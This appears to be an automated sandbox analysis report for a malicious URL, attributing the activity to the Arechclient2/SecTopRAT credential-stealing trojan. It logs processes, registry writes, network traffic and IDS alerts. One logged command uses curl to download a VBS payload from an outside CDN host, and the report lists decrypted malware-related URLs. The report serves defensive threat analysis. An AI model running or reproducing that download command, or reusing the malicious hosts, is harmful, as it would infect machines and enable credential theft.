| URL: | www.crashnotify.org/4KpraPV2 |
| Full analysis: | https://app.any.run/tasks/34b7356a-bf4d-4bdb-905e-7d3b5ff2dad4 |
| Verdict: | Malicious activity |
| Threats: | The Arechclient2 malware is a sophisticated .NET-based Remote Access Trojan (RAT) that collects sensitive information, such as browser credentials, from infected computers. It employs various stealth techniques, including Base64 encoding to obscure its code and the ability to pause activities to evade automated security tools. The malware also can adjust Windows Defender settings and uses code injection to manipulate legitimate processes. |
| Analysis date: | July 17, 2025, 20:12:37 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MD5: | 281FB1AD58687C2E533421E47A77C751 |
| SHA1: | 79C095D7D274BD5B990E536CCD46475727AEAEAF |
| SHA256: | 5256A9928D1829D34B67851ADF17E1F81CB28D57FDAC987E89FA434501B6A557 |
| SSDEEP: | 3:EE+aG9U:rpG9U |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 536 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\vzidxzrt.qno" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=3716,i,4724139898744864779,7694668970961475985,262144 --variations-seed-version --mojo-platform-channel-handle=4144 /prefetch:2 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
| |||||||||||||||
| 684 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe | Update.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft .NET Assembly Registration Utility Version: 4.8.9037.0 built by: NET481REL1 Modules
xor-url(PID) Process(684) RegAsm.exe Decrypted-URLs (14)http://dl.google.com/chrome/install/375.126/chrome_installer.exe https://bsc-dataseed1.binance.org/ https://bsc-dataseed1.defibit.io/? https://bsc-dataseed1.ninicoin.io/E https://bsc-dataseed2.binance.org/ https://bsc-dataseed2.defibit.io/ https://bsc-dataseed2.ninicoin.io/L https://bsc-dataseed3.binance.org/z https://bsc-dataseed3.defibit.io/1 https://bsc-dataseed3.ninicoin.io/B https://bsc-dataseed4.binance.org/_@Vq' https://bsc-dataseed4.defibit.io/ https://bsc-dataseed4.ninicoin.io/wX: https://github.com | |||||||||||||||
| 828 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=5488,i,12469882710374697201,17715989984810711768,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Version: 133.0.3065.92 Modules
| |||||||||||||||
| 1156 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\tegw23i4.j3b" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --field-trial-handle=4288,i,2099613050972961947,5883793109786222923,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:2 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
| |||||||||||||||
| 1156 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\h0oc1iuq.qb5" --always-read-main-dll --field-trial-handle=2592,i,6856007942761450023,10968364751178475654,262144 --variations-seed-version --mojo-platform-channel-handle=2572 /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
| |||||||||||||||
| 1160 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3632,i,12469882710374697201,17715989984810711768,262144 --variations-seed-version --mojo-platform-channel-handle=3776 /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
| |||||||||||||||
| 1216 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\tegw23i4.j3b" --extension-process --renderer-sub-type=extension --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=4216,i,2099613050972961947,5883793109786222923,262144 --variations-seed-version --mojo-platform-channel-handle=4464 /prefetch:2 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
| |||||||||||||||
| 1216 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\cycea4ts.twt" --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3132,i,12025552505710583791,14017146673815780957,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 133.0.3065.92 Modules
| |||||||||||||||
| 1336 | curl -k -o C:\Users\admin\AppData\Local\Temp\\setup.vbs https://figg.b-cdn.net/setup.vbs | C:\Windows\System32\curl.exe | cmd.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| 1388 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --user-data-dir="C:\Users\admin\AppData\Local\Temp\cfo4bcd2.dsm" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=3100,i,14203269924794428368,488048664498352189,262144 --variations-seed-version --mojo-platform-channel-handle=3188 /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe | |||||||||||
User: admin Company: Google LLC Integrity Level: MEDIUM Description: Google Chrome Exit code: 0 Version: 133.0.6943.127 Modules
| |||||||||||||||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: E52A5BEABB982F00 | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\656180 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {0518BE18-4115-41E0-A66E-E3101BE51057} | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | MicrosoftEdgeAutoLaunch_29EBC4579851B72EE312C449CF839B1A |
Value: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\656180 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {E2E15FAD-77F8-488F-AE5C-B7554A5C2A82} | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: C95F99EABB982F00 | |||
| (PID) Process: | (2976) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\EdgeUpdate\Clients\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\Commands\on-logon-autolaunch |
| Operation: | write | Name: | Enabled |
Value: 0 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\ClientCertificates\LOG.old~RF18cd9c.TMP | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\ClientCertificates\LOG.old | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF18cdbb.TMP | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF18cdda.TMP | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF18cdf9.TMP | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF18ce09.TMP | — | |
MD5:— | SHA256:— | |||
| 2976 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2112 | msedge.exe | GET | 200 | 150.171.28.11:80 | http://edge.microsoft.com/browsernetworktime/time/1/current?cup2key=2:6MEnVZ9U3rppIne7SM5hhzqpOxlTV1hapBRoOja8Gzk&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 | unknown | — | — | whitelisted |
5328 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
7276 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7276 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
5328 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
8056 | svchost.exe | HEAD | 200 | 199.232.214.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/bf8090eb-6e5c-4c51-9250-5bf9b46cf160?P1=1753191227&P2=404&P3=2&P4=K%2bCXE%2f4Q1Lb0e%2bPcnMNyq5fSQzfazp6FI3R1AplCKvIwIpdcurLr9Q2%2bS7n04Aa%2fFCon3FGD6nAMi9jwZJE5oA%3d%3d | unknown | — | — | whitelisted |
8056 | svchost.exe | GET | 206 | 199.232.214.172:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/bf8090eb-6e5c-4c51-9250-5bf9b46cf160?P1=1753191227&P2=404&P3=2&P4=K%2bCXE%2f4Q1Lb0e%2bPcnMNyq5fSQzfazp6FI3R1AplCKvIwIpdcurLr9Q2%2bS7n04Aa%2fFCon3FGD6nAMi9jwZJE5oA%3d%3d | unknown | — | — | whitelisted |
7704 | wscript.exe | GET | 200 | 142.250.186.99:80 | http://c.pki.goog/r/gsr1.crl | unknown | — | — | whitelisted |
7704 | wscript.exe | GET | 200 | 172.64.149.23:80 | http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D | unknown | — | — | whitelisted |
7704 | wscript.exe | GET | 200 | 104.18.38.233:80 | http://ocsp.sectigo.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEDIJNp8i8WsBCf5KFrBaGFM%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1268 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5944 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
3888 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | msedge.exe | 13.107.42.16:443 | config.edge.skype.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
2112 | msedge.exe | 150.171.28.11:80 | edge.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
2112 | msedge.exe | 92.123.104.45:443 | copilot.microsoft.com | Akamai International B.V. | DE | whitelisted |
2112 | msedge.exe | 104.21.32.1:443 | www.crashnotify.org | CLOUDFLARENET | — | unknown |
2112 | msedge.exe | 150.171.28.11:443 | edge.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
edge.microsoft.com |
| whitelisted |
config.edge.skype.com |
| whitelisted |
www.crashnotify.org |
| unknown |
copilot.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
update.googleapis.com |
| whitelisted |
edgeassetservice.azureedge.net |
| whitelisted |
www.googleapis.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2112 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
2112 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
684 | RegAsm.exe | A Network Trojan was detected | ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M2 (GET) |
684 | RegAsm.exe | A Network Trojan was detected | ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity M3 (GET) |
Process | Message |
|---|---|
chrome.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\pfnlqlzu.nne directory exists )
|
chrome.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\fpq12l01.1om directory exists )
|
chrome.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\n3flgi0v.tx5 directory exists )
|
chrome.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\yuigr3xy.qdz directory exists )
|
chrome.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\cfo4bcd2.dsm directory exists )
|
chrome.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\itlrd3ge.b4c directory exists )
|
msedge.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\tegw23i4.j3b directory exists )
|
msedge.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\lrpr13co.5jo directory exists )
|
msedge.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\cycea4ts.twt directory exists )
|
msedge.exe | RecursiveDirectoryCreate( C:\Users\admin\AppData\Local\Temp\nno5ults.yg4 directory exists )
|